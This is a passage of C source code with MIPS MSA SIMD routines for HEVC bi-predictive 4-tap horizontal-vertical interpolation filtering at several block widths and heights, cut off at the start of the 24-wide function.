VSHF_B2_SB(src2, src2, src2, src2, mask0, mask1, vec4, vec5);
VSHF_B2_SB(src3, src3, src3, src3, mask0, mask1, vec6, vec7);
VSHF_B2_SB(src4, src4, src4, src4, mask0, mask1, vec8, vec9);
dst0 = HEVC_FILT_4TAP_SH(vec0, vec1, filt0, filt1);
dst1 = HEVC_FILT_4TAP_SH(vec2, vec3, filt0, filt1);
dst2 = HEVC_FILT_4TAP_SH(vec4, vec5, filt0, filt1);
dst3 = HEVC_FILT_4TAP_SH(vec6, vec7, filt0, filt1);
dst4 = HEVC_FILT_4TAP_SH(vec8, vec9, filt0, filt1);
ILVRL_H2_SH(dst1, dst0, dst10_r, dst10_l);
ILVRL_H2_SH(dst2, dst1, dst21_r, dst21_l);
ILVRL_H2_SH(dst3, dst2, dst32_r, dst32_l);
ILVRL_H2_SH(dst4, dst3, dst43_r, dst43_l);
dst0_r = HEVC_FILT_4TAP(dst10_r, dst32_r, filt_h0, filt_h1);
dst0_l = HEVC_FILT_4TAP(dst10_l, dst32_l, filt_h0, filt_h1);
dst1_r = HEVC_FILT_4TAP(dst21_r, dst43_r, filt_h0, filt_h1);
dst1_l = HEVC_FILT_4TAP(dst21_l, dst43_l, filt_h0, filt_h1);
SRA_4V(dst0_r, dst0_l, dst1_r, dst1_l, 6);
PCKEV_H2_SH(dst0_l, dst0_r, dst1_l, dst1_r, tmp0, tmp1);
ADDS_SH2_SH(in0, tmp0, in1, tmp1, tmp0, tmp1);
SRARI_H2_SH(tmp0, tmp1, 7);
CLIP_SH2_0_255(tmp0, tmp1);
out = (v16u8) __msa_pckev_b((v16i8) tmp1, (v16i8) tmp0);
ST_D2(out, 0, 1, dst, dst_stride);
}
static void hevc_hv_bi_4t_8multx4_msa(const uint8_t *src0_ptr,
int32_t src_stride,
const int16_t *src1_ptr,
int32_t src2_stride,
uint8_t *dst,
int32_t dst_stride,
const int8_t *filter_x,
const int8_t *filter_y,
int32_t width8mult)
{
uint32_t cnt;
v16u8 out0, out1;
v16i8 src0, src1, src2, src3, src4, src5, src6, mask0, mask1;
v16i8 vec0, vec1, vec2, vec3, vec4, vec5, vec6, vec7;
v8i16 filt0, filt1, filt_h0, filt_h1, filter_vec, const_vec;
v8i16 dst0, dst1, dst2, dst3, dst4, dst5, dst6, tmp0, tmp1, tmp2, tmp3;
v8i16 in0, in1, in2, in3;
v4i32 dst0_r, dst0_l, dst1_r, dst1_l, dst2_r, dst2_l, dst3_r, dst3_l;
v8i16 dst10_r, dst32_r, dst54_r, dst21_r, dst43_r, dst65_r;
v8i16 dst10_l, dst32_l, dst54_l, dst21_l, dst43_l, dst65_l;
src0_ptr -= (src_stride + 1);
filter_vec = LD_SH(filter_x);
SPLATI_H2_SH(filter_vec, 0, 1, filt0, filt1);
filter_vec = LD_SH(filter_y);
UNPCK_R_SB_SH(filter_vec, filter_vec);
SPLATI_W2_SH(filter_vec, 0, filt_h0, filt_h1);
mask0 = LD_SB(ff_hevc_mask_arr);
mask1 = mask0 + 2;
const_vec = __msa_ldi_h(128);
const_vec <<= 6;
for (cnt = width8mult; cnt--;) {
LD_SB7(src0_ptr, src_stride, src0, src1, src2, src3, src4, src5, src6);
src0_ptr += 8;
XORI_B7_128_SB(src0, src1, src2, src3, src4, src5, src6);
LD_SH4(src1_ptr, src2_stride, in0, in1, in2, in3);
src1_ptr += 8;
ADDS_SH4_SH(in0, const_vec, in1, const_vec, in2, const_vec, in3,
const_vec, in0, in1, in2, in3);
VSHF_B2_SB(src0, src0, src0, src0, mask0, mask1, vec0, vec1);
VSHF_B2_SB(src1, src1, src1, src1, mask0, mask1, vec2, vec3);
VSHF_B2_SB(src2, src2, src2, src2, mask0, mask1, vec4, vec5);
dst0 = HEVC_FILT_4TAP_SH(vec0, vec1, filt0, filt1);
dst1 = HEVC_FILT_4TAP_SH(vec2, vec3, filt0, filt1);
dst2 = HEVC_FILT_4TAP_SH(vec4, vec5, filt0, filt1);
ILVRL_H2_SH(dst1, dst0, dst10_r, dst10_l);
ILVRL_H2_SH(dst2, dst1, dst21_r, dst21_l);
VSHF_B2_SB(src3, src3, src3, src3, mask0, mask1, vec0, vec1);
VSHF_B2_SB(src4, src4, src4, src4, mask0, mask1, vec2, vec3);
VSHF_B2_SB(src5, src5, src5, src5, mask0, mask1, vec4, vec5);
VSHF_B2_SB(src6, src6, src6, src6, mask0, mask1, vec6, vec7);
dst3 = HEVC_FILT_4TAP_SH(vec0, vec1, filt0, filt1);
dst4 = HEVC_FILT_4TAP_SH(vec2, vec3, filt0, filt1);
dst5 = HEVC_FILT_4TAP_SH(vec4, vec5, filt0, filt1);
dst6 = HEVC_FILT_4TAP_SH(vec6, vec7, filt0, filt1);
ILVRL_H2_SH(dst3, dst2, dst32_r, dst32_l);
ILVRL_H2_SH(dst4, dst3, dst43_r, dst43_l);
ILVRL_H2_SH(dst5, dst4, dst54_r, dst54_l);
ILVRL_H2_SH(dst6, dst5, dst65_r, dst65_l);
dst0_r = HEVC_FILT_4TAP(dst10_r, dst32_r, filt_h0, filt_h1);
dst0_l = HEVC_FILT_4TAP(dst10_l, dst32_l, filt_h0, filt_h1);
dst1_r = HEVC_FILT_4TAP(dst21_r, dst43_r, filt_h0, filt_h1);
dst1_l = HEVC_FILT_4TAP(dst21_l, dst43_l, filt_h0, filt_h1);
dst2_r = HEVC_FILT_4TAP(dst32_r, dst54_r, filt_h0, filt_h1);
dst2_l = HEVC_FILT_4TAP(dst32_l, dst54_l, filt_h0, filt_h1);
dst3_r = HEVC_FILT_4TAP(dst43_r, dst65_r, filt_h0, filt_h1);
dst3_l = HEVC_FILT_4TAP(dst43_l, dst65_l, filt_h0, filt_h1);
SRA_4V(dst0_r, dst0_l, dst1_r, dst1_l, 6);
SRA_4V(dst2_r, dst2_l, dst3_r, dst3_l, 6);
PCKEV_H4_SH(dst0_l, dst0_r, dst1_l, dst1_r, dst2_l, dst2_r, dst3_l,
dst3_r, tmp0, tmp1, tmp2, tmp3);
ADDS_SH4_SH(in0, tmp0, in1, tmp1, in2, tmp2, in3, tmp3,
tmp0, tmp1, tmp2, tmp3);
SRARI_H4_SH(tmp0, tmp1, tmp2, tmp3, 7);
CLIP_SH4_0_255(tmp0, tmp1, tmp2, tmp3);
PCKEV_B2_UB(tmp1, tmp0, tmp3, tmp2, out0, out1);
ST_D4(out0, out1, 0, 1, 0, 1, dst, dst_stride);
dst += 8;
}
}
static void hevc_hv_bi_4t_8x6_msa(const uint8_t *src0_ptr,
int32_t src_stride,
const int16_t *src1_ptr,
int32_t src2_stride,
uint8_t *dst,
int32_t dst_stride,
const int8_t *filter_x,
const int8_t *filter_y)
{
v16u8 out0, out1, out2;
v16i8 src0, src1, src2, src3, src4, src5, src6, src7, src8;
v8i16 in0, in1, in2, in3, in4, in5;
v8i16 filt0, filt1;
v8i16 filt_h0, filt_h1;
v16i8 mask0 = LD_SB(ff_hevc_mask_arr);
v16i8 mask1;
v8i16 filter_vec, const_vec;
v16i8 vec0, vec1, vec2, vec3, vec4, vec5, vec6, vec7, vec8, vec9;
v16i8 vec10, vec11, vec12, vec13, vec14, vec15, vec16, vec17;
v8i16 tmp0, tmp1, tmp2, tmp3, tmp4, tmp5;
v8i16 dst0, dst1, dst2, dst3, dst4, dst5, dst6, dst7, dst8;
v4i32 dst0_r, dst0_l, dst1_r, dst1_l, dst2_r, dst2_l, dst3_r, dst3_l;
v4i32 dst4_r, dst4_l, dst5_r, dst5_l;
v8i16 dst10_r, dst32_r, dst10_l, dst32_l;
v8i16 dst21_r, dst43_r, dst21_l, dst43_l;
v8i16 dst54_r, dst54_l, dst65_r, dst65_l;
v8i16 dst76_r, dst76_l, dst87_r, dst87_l;
src0_ptr -= (src_stride + 1);
filter_vec = LD_SH(filter_x);
SPLATI_H2_SH(filter_vec, 0, 1, filt0, filt1);
filter_vec = LD_SH(filter_y);
UNPCK_R_SB_SH(filter_vec, filter_vec);
SPLATI_W2_SH(filter_vec, 0, filt_h0, filt_h1);
mask1 = mask0 + 2;
const_vec = __msa_ldi_h(128);
const_vec <<= 6;
LD_SB5(src0_ptr, src_stride, src0, src1, src2, src3, src4);
src0_ptr += (5 * src_stride);
LD_SB4(src0_ptr, src_stride, src5, src6, src7, src8);
XORI_B5_128_SB(src0, src1, src2, src3, src4);
XORI_B4_128_SB(src5, src6, src7, src8);
LD_SH6(src1_ptr, src2_stride, in0, in1, in2, in3, in4, in5);
ADDS_SH4_SH(in0, const_vec, in1, const_vec, in2, const_vec, in3, const_vec,
in0, in1, in2, in3);
ADDS_SH2_SH(in4, const_vec, in5, const_vec, in4, in5);
VSHF_B2_SB(src0, src0, src0, src0, mask0, mask1, vec0, vec1);
VSHF_B2_SB(src1, src1, src1, src1, mask0, mask1, vec2, vec3);
VSHF_B2_SB(src2, src2, src2, src2, mask0, mask1, vec4, vec5);
VSHF_B2_SB(src3, src3, src3, src3, mask0, mask1, vec6, vec7);
VSHF_B2_SB(src4, src4, src4, src4, mask0, mask1, vec8, vec9);
VSHF_B2_SB(src5, src5, src5, src5, mask0, mask1, vec10, vec11);
VSHF_B2_SB(src6, src6, src6, src6, mask0, mask1, vec12, vec13);
VSHF_B2_SB(src7, src7, src7, src7, mask0, mask1, vec14, vec15);
VSHF_B2_SB(src8, src8, src8, src8, mask0, mask1, vec16, vec17);
dst0 = HEVC_FILT_4TAP_SH(vec0, vec1, filt0, filt1);
dst1 = HEVC_FILT_4TAP_SH(vec2, vec3, filt0, filt1);
dst2 = HEVC_FILT_4TAP_SH(vec4, vec5, filt0, filt1);
dst3 = HEVC_FILT_4TAP_SH(vec6, vec7, filt0, filt1);
dst4 = HEVC_FILT_4TAP_SH(vec8, vec9, filt0, filt1);
dst5 = HEVC_FILT_4TAP_SH(vec10, vec11, filt0, filt1);
dst6 = HEVC_FILT_4TAP_SH(vec12, vec13, filt0, filt1);
dst7 = HEVC_FILT_4TAP_SH(vec14, vec15, filt0, filt1);
dst8 = HEVC_FILT_4TAP_SH(vec16, vec17, filt0, filt1);
ILVRL_H2_SH(dst1, dst0, dst10_r, dst10_l);
ILVRL_H2_SH(dst2, dst1, dst21_r, dst21_l);
ILVRL_H2_SH(dst3, dst2, dst32_r, dst32_l);
ILVRL_H2_SH(dst4, dst3, dst43_r, dst43_l);
ILVRL_H2_SH(dst5, dst4, dst54_r, dst54_l);
ILVRL_H2_SH(dst6, dst5, dst65_r, dst65_l);
ILVRL_H2_SH(dst7, dst6, dst76_r, dst76_l);
ILVRL_H2_SH(dst8, dst7, dst87_r, dst87_l);
dst0_r = HEVC_FILT_4TAP(dst10_r, dst32_r, filt_h0, filt_h1);
dst0_l = HEVC_FILT_4TAP(dst10_l, dst32_l, filt_h0, filt_h1);
dst1_r = HEVC_FILT_4TAP(dst21_r, dst43_r, filt_h0, filt_h1);
dst1_l = HEVC_FILT_4TAP(dst21_l, dst43_l, filt_h0, filt_h1);
dst2_r = HEVC_FILT_4TAP(dst32_r, dst54_r, filt_h0, filt_h1);
dst2_l = HEVC_FILT_4TAP(dst32_l, dst54_l, filt_h0, filt_h1);
dst3_r = HEVC_FILT_4TAP(dst43_r, dst65_r, filt_h0, filt_h1);
dst3_l = HEVC_FILT_4TAP(dst43_l, dst65_l, filt_h0, filt_h1);
dst4_r = HEVC_FILT_4TAP(dst54_r, dst76_r, filt_h0, filt_h1);
dst4_l = HEVC_FILT_4TAP(dst54_l, dst76_l, filt_h0, filt_h1);
dst5_r = HEVC_FILT_4TAP(dst65_r, dst87_r, filt_h0, filt_h1);
dst5_l = HEVC_FILT_4TAP(dst65_l, dst87_l, filt_h0, filt_h1);
SRA_4V(dst0_r, dst0_l, dst1_r, dst1_l, 6);
SRA_4V(dst2_r, dst2_l, dst3_r, dst3_l, 6);
SRA_4V(dst4_r, dst4_l, dst5_r, dst5_l, 6);
PCKEV_H4_SH(dst0_l, dst0_r, dst1_l, dst1_r, dst2_l, dst2_r, dst3_l, dst3_r,
tmp0, tmp1, tmp2, tmp3);
PCKEV_H2_SH(dst4_l, dst4_r, dst5_l, dst5_r, tmp4, tmp5);
ADDS_SH4_SH(in0, tmp0, in1, tmp1, in2, tmp2, in3, tmp3,
tmp0, tmp1, tmp2, tmp3);
ADDS_SH2_SH(in4, tmp4, in5, tmp5, tmp4, tmp5);
SRARI_H4_SH(tmp0, tmp1, tmp2, tmp3, 7);
SRARI_H2_SH(tmp4, tmp5, 7);
CLIP_SH4_0_255(tmp0, tmp1, tmp2, tmp3);
CLIP_SH2_0_255(tmp4, tmp5);
PCKEV_B2_UB(tmp1, tmp0, tmp3, tmp2, out0, out1);
out2 = (v16u8) __msa_pckev_b((v16i8) tmp5, (v16i8) tmp4);
ST_D4(out0, out1, 0, 1, 0, 1, dst, dst_stride);
ST_D2(out2, 0, 1, dst + 4 * dst_stride, dst_stride);
}
static void hevc_hv_bi_4t_8multx4mult_msa(const uint8_t *src0_ptr,
int32_t src_stride,
const int16_t *src1_ptr,
int32_t src2_stride,
uint8_t *dst,
int32_t dst_stride,
const int8_t *filter_x,
const int8_t *filter_y,
int32_t height,
int32_t width)
{
uint32_t loop_cnt, cnt;
const uint8_t *src0_ptr_tmp;
const int16_t *src1_ptr_tmp;
uint8_t *dst_tmp;
v16u8 out0, out1;
v16i8 src0, src1, src2, src3, src4, src5, src6;
v8i16 in0, in1, in2, in3;
v8i16 filt0, filt1;
v8i16 filt_h0, filt_h1;
v16i8 mask0 = LD_SB(ff_hevc_mask_arr);
v16i8 mask1;
v8i16 filter_vec, const_vec;
v16i8 vec0, vec1, vec2, vec3, vec4, vec5, vec6, vec7;
v8i16 dst0, dst1, dst2, dst3, dst4, dst5;
v4i32 dst0_r, dst0_l, dst1_r, dst1_l, dst2_r, dst2_l, dst3_r, dst3_l;
v8i16 tmp0, tmp1, tmp2, tmp3;
v8i16 dst10_r, dst32_r, dst21_r, dst43_r;
v8i16 dst10_l, dst32_l, dst21_l, dst43_l;
v8i16 dst54_r, dst54_l, dst65_r, dst65_l, dst6;
src0_ptr -= (src_stride + 1);
filter_vec = LD_SH(filter_x);
SPLATI_H2_SH(filter_vec, 0, 1, filt0, filt1);
filter_vec = LD_SH(filter_y);
UNPCK_R_SB_SH(filter_vec, filter_vec);
SPLATI_W2_SH(filter_vec, 0, filt_h0, filt_h1);
mask1 = mask0 + 2;
const_vec = __msa_ldi_h(128);
const_vec <<= 6;
for (cnt = width >> 3; cnt--;) {
src0_ptr_tmp = src0_ptr;
dst_tmp = dst;
src1_ptr_tmp = src1_ptr;
LD_SB3(src0_ptr_tmp, src_stride, src0, src1, src2);
src0_ptr_tmp += (3 * src_stride);
XORI_B3_128_SB(src0, src1, src2);
VSHF_B2_SB(src0, src0, src0, src0, mask0, mask1, vec0, vec1);
VSHF_B2_SB(src1, src1, src1, src1, mask0, mask1, vec2, vec3);
VSHF_B2_SB(src2, src2, src2, src2, mask0, mask1, vec4, vec5);
dst0 = HEVC_FILT_4TAP_SH(vec0, vec1, filt0, filt1);
dst1 = HEVC_FILT_4TAP_SH(vec2, vec3, filt0, filt1);
dst2 = HEVC_FILT_4TAP_SH(vec4, vec5, filt0, filt1);
ILVRL_H2_SH(dst1, dst0, dst10_r, dst10_l);
ILVRL_H2_SH(dst2, dst1, dst21_r, dst21_l);
for (loop_cnt = height >> 2; loop_cnt--;) {
LD_SB4(src0_ptr_tmp, src_stride, src3, src4, src5, src6);
src0_ptr_tmp += (4 * src_stride);
LD_SH4(src1_ptr_tmp, src2_stride, in0, in1, in2, in3);
src1_ptr_tmp += (4 * src2_stride);
XORI_B4_128_SB(src3, src4, src5, src6);
ADDS_SH4_SH(in0, const_vec, in1, const_vec, in2, const_vec, in3,
const_vec, in0, in1, in2, in3);
VSHF_B2_SB(src3, src3, src3, src3, mask0, mask1, vec0, vec1);
VSHF_B2_SB(src4, src4, src4, src4, mask0, mask1, vec2, vec3);
VSHF_B2_SB(src5, src5, src5, src5, mask0, mask1, vec4, vec5);
VSHF_B2_SB(src6, src6, src6, src6, mask0, mask1, vec6, vec7);
dst3 = HEVC_FILT_4TAP_SH(vec0, vec1, filt0, filt1);
dst4 = HEVC_FILT_4TAP_SH(vec2, vec3, filt0, filt1);
dst5 = HEVC_FILT_4TAP_SH(vec4, vec5, filt0, filt1);
dst6 = HEVC_FILT_4TAP_SH(vec6, vec7, filt0, filt1);
ILVRL_H2_SH(dst3, dst2, dst32_r, dst32_l);
ILVRL_H2_SH(dst4, dst3, dst43_r, dst43_l);
ILVRL_H2_SH(dst5, dst4, dst54_r, dst54_l);
ILVRL_H2_SH(dst6, dst5, dst65_r, dst65_l);
dst0_r = HEVC_FILT_4TAP(dst10_r, dst32_r, filt_h0, filt_h1);
dst0_l = HEVC_FILT_4TAP(dst10_l, dst32_l, filt_h0, filt_h1);
dst1_r = HEVC_FILT_4TAP(dst21_r, dst43_r, filt_h0, filt_h1);
dst1_l = HEVC_FILT_4TAP(dst21_l, dst43_l, filt_h0, filt_h1);
dst2_r = HEVC_FILT_4TAP(dst32_r, dst54_r, filt_h0, filt_h1);
dst2_l = HEVC_FILT_4TAP(dst32_l, dst54_l, filt_h0, filt_h1);
dst3_r = HEVC_FILT_4TAP(dst43_r, dst65_r, filt_h0, filt_h1);
dst3_l = HEVC_FILT_4TAP(dst43_l, dst65_l, filt_h0, filt_h1);
SRA_4V(dst0_r, dst0_l, dst1_r, dst1_l, 6);
SRA_4V(dst2_r, dst2_l, dst3_r, dst3_l, 6);
PCKEV_H4_SH(dst0_l, dst0_r, dst1_l, dst1_r, dst2_l, dst2_r, dst3_l,
dst3_r, tmp0, tmp1, tmp2, tmp3);
ADDS_SH4_SH(in0, tmp0, in1, tmp1, in2, tmp2, in3, tmp3,
tmp0, tmp1, tmp2, tmp3);
SRARI_H4_SH(tmp0, tmp1, tmp2, tmp3, 7);
CLIP_SH4_0_255(tmp0, tmp1, tmp2, tmp3);
PCKEV_B2_UB(tmp1, tmp0, tmp3, tmp2, out0, out1);
ST_D4(out0, out1, 0, 1, 0, 1, dst_tmp, dst_stride);
dst_tmp += (4 * dst_stride);
dst10_r = dst54_r;
dst10_l = dst54_l;
dst21_r = dst65_r;
dst21_l = dst65_l;
dst2 = dst6;
}
src0_ptr += 8;
dst += 8;
src1_ptr += 8;
}
}
static void hevc_hv_bi_4t_8w_msa(const uint8_t *src0_ptr,
int32_t src_stride,
const int16_t *src1_ptr,
int32_t src2_stride,
uint8_t *dst,
int32_t dst_stride,
const int8_t *filter_x,
const int8_t *filter_y,
int32_t height)
{
if (2 == height) {
hevc_hv_bi_4t_8x2_msa(src0_ptr, src_stride, src1_ptr, src2_stride,
dst, dst_stride, filter_x, filter_y);
} else if (4 == height) {
hevc_hv_bi_4t_8multx4_msa(src0_ptr, src_stride, src1_ptr, src2_stride,
dst, dst_stride, filter_x, filter_y, 1);
} else if (6 == height) {
hevc_hv_bi_4t_8x6_msa(src0_ptr, src_stride, src1_ptr, src2_stride,
dst, dst_stride, filter_x, filter_y);
} else {
hevc_hv_bi_4t_8multx4mult_msa(src0_ptr, src_stride,
src1_ptr, src2_stride,
dst, dst_stride,
filter_x, filter_y, height, 8);
}
}
static void hevc_hv_bi_4t_12w_msa(const uint8_t *src0_ptr,
int32_t src_stride,
const int16_t *src1_ptr,
int32_t src2_stride,
uint8_t *dst,
int32_t dst_stride,
const int8_t *filter_x,
const int8_t *filter_y,
int32_t height)
{
uint32_t loop_cnt;
uint64_t tp0, tp1;
const uint8_t *src0_ptr_tmp;
uint8_t *dst_tmp;
const int16_t *src1_ptr_tmp;
v16u8 out0, out1;
v16i8 src0, src1, src2, src3, src4, src5, src6, src7, src8, src9, src10;
v16i8 vec0, vec1, vec2, vec3, vec4, vec5, vec6, vec7;
v16i8 mask0, mask1, mask2, mask3;
v8i16 filt0, filt1, filt_h0, filt_h1, filter_vec, tmp0, tmp1, tmp2, tmp3;
v8i16 dsth0, dsth1, dsth2, dsth3, dsth4, dsth5, dsth6, const_vec;
v8i16 dst10, dst21, dst22, dst73, dst84, dst95, dst106;
v8i16 dst76_r, dst98_r, dst87_r, dst109_r;
v8i16 in0 = { 0 }, in1 = { 0 }, in2 = { 0 }, in3 = { 0 };
v8i16 dst10_r, dst32_r, dst54_r, dst21_r, dst43_r, dst65_r;
v8i16 dst10_l, dst32_l, dst54_l, dst21_l, dst43_l, dst65_l;
v4i32 dst0_r, dst0_l, dst1_r, dst1_l, dst2_r, dst2_l, dst3_r, dst3_l;
v4i32 dst0, dst1, dst2, dst3, dst4, dst5, dst6, dst7;
src0_ptr -= (src_stride + 1);
filter_vec = LD_SH(filter_x);
SPLATI_H2_SH(filter_vec, 0, 1, filt0, filt1);
filter_vec = LD_SH(filter_y);
UNPCK_R_SB_SH(filter_vec, filter_vec);
SPLATI_W2_SH(filter_vec, 0, filt_h0, filt_h1);
mask0 = LD_SB(ff_hevc_mask_arr);
mask1 = mask0 + 2;
const_vec = __msa_ldi_h(128);
const_vec <<= 6;
src0_ptr_tmp = src0_ptr;
dst_tmp = dst;
src1_ptr_tmp = src1_ptr;
LD_SB3(src0_ptr_tmp, src_stride, src0, src1, src2);
src0_ptr_tmp += (3 * src_stride);
XORI_B3_128_SB(src0, src1, src2);
VSHF_B2_SB(src0, src0, src0, src0, mask0, mask1, vec0, vec1);
VSHF_B2_SB(src1, src1, src1, src1, mask0, mask1, vec2, vec3);
VSHF_B2_SB(src2, src2, src2, src2, mask0, mask1, vec4, vec5);
dsth0 = HEVC_FILT_4TAP_SH(vec0, vec1, filt0, filt1);
dsth1 = HEVC_FILT_4TAP_SH(vec2, vec3, filt0, filt1);
dsth2 = HEVC_FILT_4TAP_SH(vec4, vec5, filt0, filt1);
ILVRL_H2_SH(dsth1, dsth0, dst10_r, dst10_l);
ILVRL_H2_SH(dsth2, dsth1, dst21_r, dst21_l);
for (loop_cnt = 4; loop_cnt--;) {
LD_SB4(src0_ptr_tmp, src_stride, src3, src4, src5, src6);
src0_ptr_tmp += (4 * src_stride);
XORI_B4_128_SB(src3, src4, src5, src6);
LD_SH4(src1_ptr_tmp, src2_stride, in0, in1, in2, in3);
src1_ptr_tmp += (4 * src2_stride);
ADDS_SH4_SH(in0, const_vec, in1, const_vec, in2, const_vec, in3,
const_vec, in0, in1, in2, in3);
VSHF_B2_SB(src3, src3, src3, src3, mask0, mask1, vec0, vec1);
VSHF_B2_SB(src4, src4, src4, src4, mask0, mask1, vec2, vec3);
VSHF_B2_SB(src5, src5, src5, src5, mask0, mask1, vec4, vec5);
VSHF_B2_SB(src6, src6, src6, src6, mask0, mask1, vec6, vec7);
dsth3 = HEVC_FILT_4TAP_SH(vec0, vec1, filt0, filt1);
dsth4 = HEVC_FILT_4TAP_SH(vec2, vec3, filt0, filt1);
dsth5 = HEVC_FILT_4TAP_SH(vec4, vec5, filt0, filt1);
dsth6 = HEVC_FILT_4TAP_SH(vec6, vec7, filt0, filt1);
ILVRL_H2_SH(dsth3, dsth2, dst32_r, dst32_l);
ILVRL_H2_SH(dsth4, dsth3, dst43_r, dst43_l);
ILVRL_H2_SH(dsth5, dsth4, dst54_r, dst54_l);
ILVRL_H2_SH(dsth6, dsth5, dst65_r, dst65_l);
dst0_r = HEVC_FILT_4TAP(dst10_r, dst32_r, filt_h0, filt_h1);
dst0_l = HEVC_FILT_4TAP(dst10_l, dst32_l, filt_h0, filt_h1);
dst1_r = HEVC_FILT_4TAP(dst21_r, dst43_r, filt_h0, filt_h1);
dst1_l = HEVC_FILT_4TAP(dst21_l, dst43_l, filt_h0, filt_h1);
dst2_r = HEVC_FILT_4TAP(dst32_r, dst54_r, filt_h0, filt_h1);
dst2_l = HEVC_FILT_4TAP(dst32_l, dst54_l, filt_h0, filt_h1);
dst3_r = HEVC_FILT_4TAP(dst43_r, dst65_r, filt_h0, filt_h1);
dst3_l = HEVC_FILT_4TAP(dst43_l, dst65_l, filt_h0, filt_h1);
SRA_4V(dst0_r, dst0_l, dst1_r, dst1_l, 6);
SRA_4V(dst2_r, dst2_l, dst3_r, dst3_l, 6);
PCKEV_H4_SH(dst0_l, dst0_r, dst1_l, dst1_r, dst2_l, dst2_r, dst3_l,
dst3_r, tmp0, tmp1, tmp2, tmp3);
ADDS_SH4_SH(in0, tmp0, in1, tmp1, in2, tmp2, in3, tmp3,
tmp0, tmp1, tmp2, tmp3);
SRARI_H4_SH(tmp0, tmp1, tmp2, tmp3, 7);
CLIP_SH4_0_255(tmp0, tmp1, tmp2, tmp3);
PCKEV_B2_UB(tmp1, tmp0, tmp3, tmp2, out0, out1);
ST_D4(out0, out1, 0, 1, 0, 1, dst_tmp, dst_stride);
dst_tmp += (4 * dst_stride);
dst10_r = dst54_r;
dst10_l = dst54_l;
dst21_r = dst65_r;
dst21_l = dst65_l;
dsth2 = dsth6;
}
src0_ptr += 8;
dst += 8;
src1_ptr += 8;
mask2 = LD_SB(ff_hevc_mask_arr + 16);
mask3 = mask2 + 2;
LD_SB3(src0_ptr, src_stride, src0, src1, src2);
src0_ptr += (3 * src_stride);
XORI_B3_128_SB(src0, src1, src2);
VSHF_B2_SB(src0, src1, src0, src1, mask2, mask3, vec0, vec1);
VSHF_B2_SB(src1, src2, src1, src2, mask2, mask3, vec2, vec3);
dst10 = HEVC_FILT_4TAP_SH(vec0, vec1, filt0, filt1);
dst21 = HEVC_FILT_4TAP_SH(vec2, vec3, filt0, filt1);
ILVRL_H2_SH(dst21, dst10, dst10_r, dst21_r);
dst22 = (v8i16) __msa_splati_d((v2i64) dst21, 1);
for (loop_cnt = 2; loop_cnt--;) {
LD_SB8(src0_ptr, src_stride,
src3, src4, src5, src6, src7, src8, src9, src10);
src0_ptr += (8 * src_stride);
XORI_B8_128_SB(src3, src4, src5, src6, src7, src8, src9, src10);
VSHF_B2_SB(src3, src7, src3, src7, mask2, mask3, vec0, vec1);
VSHF_B2_SB(src4, src8, src4, src8, mask2, mask3, vec2, vec3);
VSHF_B2_SB(src5, src9, src5, src9, mask2, mask3, vec4, vec5);
VSHF_B2_SB(src6, src10, src6, src10, mask2, mask3, vec6, vec7);
dst73 = HEVC_FILT_4TAP_SH(vec0, vec1, filt0, filt1);
dst84 = HEVC_FILT_4TAP_SH(vec2, vec3, filt0, filt1);
dst95 = HEVC_FILT_4TAP_SH(vec4, vec5, filt0, filt1);
dst106 = HEVC_FILT_4TAP_SH(vec6, vec7, filt0, filt1);
dst32_r = __msa_ilvr_h(dst73, dst22);
ILVRL_H2_SH(dst84, dst73, dst43_r, dst87_r);
ILVRL_H2_SH(dst95, dst84, dst54_r, dst98_r);
ILVRL_H2_SH(dst106, dst95, dst65_r, dst109_r);
dst22 = (v8i16) __msa_splati_d((v2i64) dst73, 1);
dst76_r = __msa_ilvr_h(dst22, dst106);
LD2(src1_ptr, src2_stride, tp0, tp1);
src1_ptr += 2 * src2_stride;
INSERT_D2_SH(tp0, tp1, in0);
LD2(src1_ptr, src2_stride, tp0, tp1);
src1_ptr += 2 * src2_stride;
INSERT_D2_SH(tp0, tp1, in1);
LD2(src1_ptr, src2_stride, tp0, tp1);
src1_ptr += 2 * src2_stride;
INSERT_D2_SH(tp0, tp1, in2);
LD2(src1_ptr, src2_stride, tp0, tp1);
src1_ptr += 2 * src2_stride;
INSERT_D2_SH(tp0, tp1, in3);
ADDS_SH4_SH(in0, const_vec, in1, const_vec, in2, const_vec, in3,
const_vec, in0, in1, in2, in3);
dst0 = HEVC_FILT_4TAP(dst10_r, dst32_r, filt_h0, filt_h1);
dst1 = HEVC_FILT_4TAP(dst21_r, dst43_r, filt_h0, filt_h1);
dst2 = HEVC_FILT_4TAP(dst32_r, dst54_r, filt_h0, filt_h1);
dst3 = HEVC_FILT_4TAP(dst43_r, dst65_r, filt_h0, filt_h1);
dst4 = HEVC_FILT_4TAP(dst54_r, dst76_r, filt_h0, filt_h1);
dst5 = HEVC_FILT_4TAP(dst65_r, dst87_r, filt_h0, filt_h1);
dst6 = HEVC_FILT_4TAP(dst76_r, dst98_r, filt_h0, filt_h1);
dst7 = HEVC_FILT_4TAP(dst87_r, dst109_r, filt_h0, filt_h1);
SRA_4V(dst0, dst1, dst2, dst3, 6);
SRA_4V(dst4, dst5, dst6, dst7, 6);
PCKEV_H4_SH(dst1, dst0, dst3, dst2, dst5, dst4, dst7, dst6,
tmp0, tmp1, tmp2, tmp3);
ADDS_SH4_SH(in0, tmp0, in1, tmp1, in2, tmp2, in3, tmp3,
tmp0, tmp1, tmp2, tmp3);
SRARI_H4_SH(tmp0, tmp1, tmp2, tmp3, 7);
CLIP_SH4_0_255(tmp0, tmp1, tmp2, tmp3);
PCKEV_B2_UB(tmp1, tmp0, tmp3, tmp2, out0, out1);
ST_W8(out0, out1, 0, 1, 2, 3, 0, 1, 2, 3, dst, dst_stride);
dst += (8 * dst_stride);
dst10_r = dst98_r;
dst21_r = dst109_r;
dst22 = (v8i16) __msa_splati_d((v2i64) dst106, 1);
}
}
static void hevc_hv_bi_4t_16w_msa(const uint8_t *src0_ptr,
int32_t src_stride,
const int16_t *src1_ptr,
int32_t src2_stride,
uint8_t *dst,
int32_t dst_stride,
const int8_t *filter_x,
const int8_t *filter_y,
int32_t height)
{
if (4 == height) {
hevc_hv_bi_4t_8multx4_msa(src0_ptr, src_stride, src1_ptr, src2_stride,
dst, dst_stride, filter_x, filter_y, 2);
} else {
hevc_hv_bi_4t_8multx4mult_msa(src0_ptr, src_stride, src1_ptr,
src2_stride, dst, dst_stride, filter_x,
filter_y, height, 16);
}
}
static void hevc_hv_bi_4t_24w_msa(const uint8_t *src0_ptr,
int32_t src_stride,
const int16_t *src1_ptr,
int32_t src2_stride,
uint8_t *dst,
int32_t dst_stride,
const int8_t *filter_x,
const int8_t *filter_y,
int32_t height)
{
